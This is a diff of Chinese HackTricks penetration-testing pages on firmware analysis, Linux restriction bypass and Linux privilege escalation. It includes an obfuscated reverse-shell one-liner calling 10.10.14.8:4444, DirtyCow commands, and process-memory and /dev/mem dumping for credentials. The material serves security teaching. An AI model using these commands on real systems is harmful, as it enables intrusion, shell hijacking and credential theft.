* 常见物联网设备的 Web 服务器和二进制文件
|
||||
- 用于用户凭据的 **etc/shadow** 和 **etc/passwd**
|
||||
- **etc/ssl** 中的 SSL 证书和密钥
|
||||
- 潜在漏洞的配置和脚本文件
|
||||
- 用于进一步分析的嵌入式二进制文件
|
||||
- 常见物联网设备 Web 服务器和二进制文件
|
||||
|
||||
有几种工具可帮助揭示文件系统中的敏感信息和漏洞:
|
||||
|
||||
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 和 [**Firmwalker**](https://github.com/craigz28/firmwalker) 用于搜索敏感信息
|
||||
* [**固件分析和比较工具 (FACT)**](https://github.com/fkie-cad/FACT\_core) 用于全面的固件分析
|
||||
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) 和 [**EMBA**](https://github.com/e-m-b-a/emba) 用于静态和动态分析
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 和 [**Firmwalker**](https://github.com/craigz28/firmwalker) 用于搜索敏感信息
|
||||
- [**固件分析和比较工具 (FACT)**](https://github.com/fkie-cad/FACT\_core) 用于全面的固件分析
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) 和 [**EMBA**](https://github.com/e-m-b-a/emba) 用于静态和动态分析
|
||||
|
||||
### 对已编译二进制文件进行安全检查
|
||||
|
||||
必须仔细审查文件系统中找到的源代码和已编译二进制文件以查找漏洞。像 **checksec.sh** 用于 Unix 二进制文件,**PESecurity** 用于 Windows 二进制文件等工具有助于识别可能被利用的未受保护的二进制文件。
|
||||
必须仔细审查文件系统中找到的源代码和已编译二进制文件,以查找漏洞。像 **checksec.sh** 用于 Unix 二进制文件,**PESecurity** 用于 Windows 二进制文件等工具有助于识别可能被利用的未受保护二进制文件。
|
||||
|
||||
## 模拟固件进行动态分析
|
||||
|
||||
|
@ -193,20 +184,16 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||
#### MIPS 架构示例
|
||||
|
||||
要模拟 MIPS 架构二进制文件,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
|
||||
并安装必要的仿真工具:
|
||||
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
|
||||
### MIPS架构仿真
|
||||
|
||||
对于MIPS(大端)架构,使用`qemu-mips`,对于小端二进制文件,选择`qemu-mipsel`。
|
||||
对于MIPS(大端)二进制文件,使用`qemu-mips`,而对于小端二进制文件,则选择`qemu-mipsel`。
|
||||
|
||||
### ARM架构仿真
|
||||
|
||||
|
@ -214,11 +201,11 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||
|
||||
### 完整系统仿真
|
||||
|
||||
类似[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)等工具可实现完整固件仿真,自动化流程并协助动态分析。
|
||||
诸如[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)等工具可实现完整固件仿真,自动化流程并协助动态分析。
|
||||
|
||||
### 实践中的动态分析
|
||||
|
||||
在此阶段,使用真实或仿真设备环境进行分析。保持对操作系统和文件系统的shell访问至关重要。仿真可能无法完全模拟硬件交互,可能需要偶尔重新启动仿真。分析应重新查看文件系统,利用暴露的网页和网络服务,探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
|
||||
在此阶段,使用真实或仿真设备环境进行分析。保持对操作系统和文件系统的shell,至关重要。仿真可能无法完全模拟硬件交互,因此可能需要偶尔重新启动仿真。分析应重新查看文件系统,利用暴露的网页和网络服务,探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
|
||||
|
||||
### 运行时分析技术
|
||||
|
||||
|
@ -226,39 +213,39 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||
|
||||
### 二进制利用和概念验证
|
||||
|
||||
为已识别的漏洞开发概念验证(PoC)需要深入了解目标架构并使用低级语言进行编程。嵌入式系统中的二进制运行时保护很少见,但存在时,可能需要使用Return Oriented Programming(ROP)等技术。
|
||||
为已识别的漏洞开发概念验证(PoC)需要对目标架构有深入了解,并在低级语言中进行编程。嵌入式系统中的二进制运行时保护很少见,但存在时,可能需要使用Return Oriented Programming (ROP)等技术。
|
||||
|
||||
### 用于固件分析的准备操作系统
|
||||
|
||||
操作系统如[AttifyOS](https://github.com/adi0x90/attifyos)和[EmbedOS](https://github.com/scriptingxss/EmbedOS)提供了预配置的固件安全测试环境,配备必要工具。
|
||||
操作系统如[AttifyOS](https://github.com/adi0x90/attifyos)和[EmbedOS](https://github.com/scriptingxss/EmbedOS)提供了预配置的环境,用于固件安全测试,并配备了必要的工具。
|
||||
|
||||
### 用于分析固件的准备操作系统
|
||||
|
||||
* [**AttifyOS**](https://github.com/adi0x90/attifyos):AttifyOS是一个旨在帮助您执行物联网(IoT)设备的安全评估和渗透测试的发行版。通过提供预配置环境并加载所有必要工具,为您节省大量时间。
|
||||
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS):基于Ubuntu 18.04的嵌入式安全测试操作系统,预装有固件安全测试工具。
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos):AttifyOS是一个旨在帮助您执行物联网(IoT)设备的安全评估和渗透测试的发行版。通过提供预配置环境和加载所有必要工具,为您节省大量时间。
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS):基于Ubuntu 18.04的嵌入式安全测试操作系统,预装有固件安全测试工具。
|
||||
|
||||
### 用于练习的易受攻击固件
|
||||
|
||||
要练习在固件中发现漏洞,可以使用以下易受攻击的固件项目作为起点。
|
||||
|
||||
* OWASP IoTGoat
|
||||
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
* The Damn Vulnerable Router Firmware Project
|
||||
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
* Damn Vulnerable ARM Router (DVAR)
|
||||
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
* ARM-X
|
||||
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
* Azeria Labs VM 2.0
|
||||
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
* Damn Vulnerable IoT Device (DVID)
|
||||
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
- The Damn Vulnerable Router Firmware Project
|
||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
- Damn Vulnerable ARM Router (DVAR)
|
||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
- ARM-X
|
||||
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
- Azeria Labs VM 2.0
|
||||
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
### 参考资料
|
||||
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
||||
### 培训和认证
|
||||
|
||||
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 绕过Linux限制
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -30,7 +31,7 @@
|
|||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### 简短的反弹Shell
|
||||
### 简短的反弹 shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -160,12 +161,12 @@ echo ${PATH:0:1} #/
|
|||
```
|
||||
### DNS数据泄露
|
||||
|
||||
您可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为示例。
|
||||
您可以使用**burpcollab**或[**pingb**](http://pingb.in) 作为示例。
|
||||
|
||||
### 内建函数
|
||||
### 内建命令
|
||||
|
||||
如果您无法执行外部函数,只能访问**有限的内建函数来实现RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自 [**devploit**](https://twitter.com/devploit)。\
|
||||
首先检查所有的[**shell内建函数**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**。** 然后这里有一些**建议**:
|
||||
如果您无法执行外部函数,只能访问**有限的内建函数以获取RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
|
||||
首先检查所有的[**shell内建命令**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**。** 然后这里有一些**建议**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -318,7 +319,7 @@ ln /f*
|
|||
```
|
||||
## 只读/Noexec/Distroless绕过
|
||||
|
||||
如果您在具有**只读和noexec保护**甚至在distroless容器中,仍然有方法可以**执行任意二进制文件,甚至是一个shell:**
|
||||
如果你在一个具有**只读和noexec保护**甚至在一个distroless容器中,仍然有方法可以**执行任意二进制文件,甚至是一个shell!:**
|
||||
|
||||
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -345,16 +346,17 @@ ln /f*
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Linux权限提升
|
||||
# Linux提权
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 系统信息
|
||||
|
||||
### 操作系统信息
|
||||
|
||||
让我们开始获取运行的操作系统的一些知识。
|
||||
让我们开始获取运行中操作系统的一些信息。
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
|
@ -26,7 +27,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
|||
```
|
||||
### 路径
|
||||
|
||||
如果您**对`PATH`变量中任何文件夹具有写权限**,则可能能够劫持一些库或二进制文件:
|
||||
如果您**对`PATH`变量中的任何文件夹具有写权限**,则可能能够劫持一些库或二进制文件:
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
|
@ -44,24 +45,24 @@ cat /proc/version
|
|||
uname -a
|
||||
searchsploit "Linux Kernel"
|
||||
```
|
||||
您可以在这里找到一个很好的易受攻击的内核列表和一些已经**编译好的利用程序**:[https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\
|
||||
其他一些可以找到**编译好的利用程序**的网站:[https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
您可以在此处找到一份良好的易受攻击内核列表以及一些已经**编译好的利用程序**:[https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\
|
||||
其他一些可以找到一些**编译好的利用程序**的网站:[https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
要从该网站提取所有易受攻击的内核版本,您可以执行:
|
||||
要从该网站提取所有易受攻击的内核版本,您可以执行以下操作:
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
以下是一些可用于搜索内核漏洞利用的工具:
|
||||
以下是一些可以帮助搜索内核漏洞利用的工具:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(仅在受害者中执行,仅检查内核 2.x 的漏洞)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者中执行,仅检查内核 2.x 的漏洞利用)
|
||||
|
||||
始终**在 Google 中搜索内核版本**,也许你的内核版本已经写在某个内核漏洞利用中,这样你就可以确保该利用是有效的。
|
||||
始终**在 Google 中搜索内核版本**,也许你的内核版本已经写在某个内核漏洞利用中,这样你就可以确保这个漏洞利用是有效的。
|
||||
|
||||
### CVE-2016-5195(DirtyCow)
|
||||
|
||||
Linux权限提升 - Linux Kernel <= 3.19.0-73.8
|
||||
Linux 特权提升 - Linux 内核 <= 3.19.0-73.8
|
||||
```bash
|
||||
# make dirtycow stable
|
||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||||
|
@ -75,7 +76,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
|||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
您可以使用以下grep命令检查sudo版本是否存在漏洞。
|
||||
您可以使用以下 grep 命令检查 sudo 版本是否存在漏洞。
|
||||
```bash
|
||||
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
|
||||
```
|
||||
|
@ -136,14 +137,14 @@ fi
|
|||
```
|
||||
### ASLR
|
||||
|
||||
地址空间布局随机化(ASLR)是一种安全机制,用于随机化系统内存中用户空间程序的地址,以防止恶意攻击者利用已知地址进行攻击。
|
||||
### 地址空间布局随机化
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
#If 0, not enabled
|
||||
```
|
||||
## Docker逃逸
|
||||
|
||||
如果你在一个Docker容器内部,你可以尝试从中逃逸:
|
||||
如果你在一个Docker容器内部,你可以尝试从中逃脱:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
|
@ -160,11 +161,11 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
|
|||
```
|
||||
## 有用的软件
|
||||
|
||||
列举有用的可执行文件
|
||||
枚举有用的可执行文件
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
另外,检查是否**已安装任何编译器**。如果您需要使用某些内核利用技术,这将非常有用,因为建议在您将要使用它的机器上(或类似的机器上)编译它。
|
||||
另外,检查是否**已安装任何编译器**。如果您需要使用某个内核利用程序,这将非常有用,因为建议在您将要使用它的机器上(或类似的机器上)编译它。
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
|
@ -176,10 +177,10 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
|
|||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
```
|
||||
如果您可以访问机器的SSH,您还可以使用**openVAS**来检查机器内安装的过时和有漏洞的软件。
|
||||
如果您可以访问机器的SSH,还可以使用**openVAS**来检查机器内安装的过时和有漏洞的软件。
|
||||
|
||||
{% hint style="info" %}
|
||||
_请注意,这些命令将显示大量信息,其中大部分将是无用的,因此建议使用一些类似OpenVAS的应用程序,以检查安装的软件版本是否容易受到已知漏洞的影响_
|
||||
_请注意,这些命令将显示大量大多数情况下无用的信息,因此建议使用一些类似OpenVAS的应用程序,以检查安装的软件版本是否容易受到已知漏洞的影响_
|
||||
{% endhint %}
|
||||
|
||||
## 进程
|
||||
|
@ -195,11 +196,11 @@ top -n 1
|
|||
|
||||
### 进程监控
|
||||
|
||||
您可以使用像[**pspy**](https://github.com/DominicBreuker/pspy)这样的工具来监视进程。这对于识别频繁执行的易受攻击的进程或在满足一组要求时执行的进程非常有用。
|
||||
您可以使用[**pspy**](https://github.com/DominicBreuker/pspy)等工具来监视进程。这对于识别频繁执行的易受攻击的进程或在满足一组要求时执行的进程非常有用。
|
||||
|
||||
### 进程内存
|
||||
|
||||
服务器的一些服务在内存中以**明文**保存**凭据**。\
|
||||
服务器的一些服务会在内存中以**明文**保存**凭据**。\
|
||||
通常,您需要**root权限**才能读取属于其他用户的进程的内存,因此当您已经是root并希望发现更多凭据时,这通常更有用。\
|
||||
但是,请记住**作为普通用户,您可以读取自己拥有的进程的内存**。
|
||||
|
||||
|
@ -208,7 +209,7 @@ top -n 1
|
|||
|
||||
文件 _**/proc/sys/kernel/yama/ptrace\_scope**_ 控制ptrace的可访问性:
|
||||
|
||||
* **kernel.yama.ptrace\_scope = 0**:只要它们具有相同的uid,所有进程都可以被调试。这是ptracing的经典工作方式。
|
||||
* **kernel.yama.ptrace\_scope = 0**:只要它们具有相同的uid,所有进程都可以被调试。这是ptracing的经典方式。
|
||||
* **kernel.yama.ptrace\_scope = 1**:只有父进程可以被调试。
|
||||
* **kernel.yama.ptrace\_scope = 2**:只有管理员可以使用ptrace,因为它需要CAP\_SYS\_PTRACE功能。
|
||||
* **kernel.yama.ptrace\_scope = 3**:不允许使用ptrace跟踪任何进程。设置后,需要重新启动才能再次启用ptracing。
|
||||
|
@ -242,7 +243,7 @@ done
|
|||
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
对于给定的进程ID,**maps 显示了该进程的虚拟地址空间内存是如何映射的**;它还显示了**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件中,我们知道哪些**内存区域是可读的**以及它们的偏移量。我们利用这些信息**定位到 mem 文件并将所有可读区域转储到一个文件中**。
|
||||
对于给定的进程ID,**maps 显示了内存在该进程的虚拟地址空间中是如何映射的**;它还显示了**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件中,我们知道哪些**内存区域是可读的**以及它们的偏移量。我们利用这些信息**定位到 mem 文件并将所有可读区域转储到一个文件中**。
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
|
@ -257,14 +258,14 @@ rm $1*.bin
|
|||
```
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` 提供对系统的**物理**内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用`/dev/kmem`来访问。\
|
||||
通常,`/dev/mem` 只能被**root**和**kmem**组读取。
|
||||
`/dev/mem` 提供对系统的**物理**内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 `/dev/kmem` 访问。\
|
||||
通常,`/dev/mem` 只能被 **root** 和 **kmem** 组读取。
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump for linux
|
||||
### ProcDump for Linux
|
||||
|
||||
ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具的 Linux 版本。在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。
|
||||
ProcDump是Sysinternals工具套件中经典ProcDump工具的Linux重新设计版本。在[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)获取。
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
|
@ -315,16 +316,16 @@ strings *.dump | grep -i password
|
|||
```
|
||||
#### mimipenguin
|
||||
|
||||
该工具[**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)将从内存和一些**知名文件**中**窃取明文凭证**。它需要root权限才能正常工作。
|
||||
该工具[**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)将从内存和一些**知名文件**中**窃取明文凭据**。它需要 root 权限才能正常工作。
|
||||
|
||||
| 功能 | 进程名称 |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
| GDM密码(Kali桌面,Debian桌面) | gdm-password |
|
||||
| Gnome Keyring(Ubuntu桌面,ArchLinux桌面) | gnome-keyring-daemon |
|
||||
| LightDM(Ubuntu桌面) | lightdm |
|
||||
| VSFTPd(活动FTP连接) | vsftpd |
|
||||
| Apache2(活动HTTP基本认证会话) | apache2 |
|
||||
| OpenSSH(活动SSH会话 - Sudo使用) | sshd: |
|
||||
| GDM 密码 (Kali 桌面, Debian 桌面) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu 桌面, ArchLinux 桌面) | gnome-keyring-daemon |
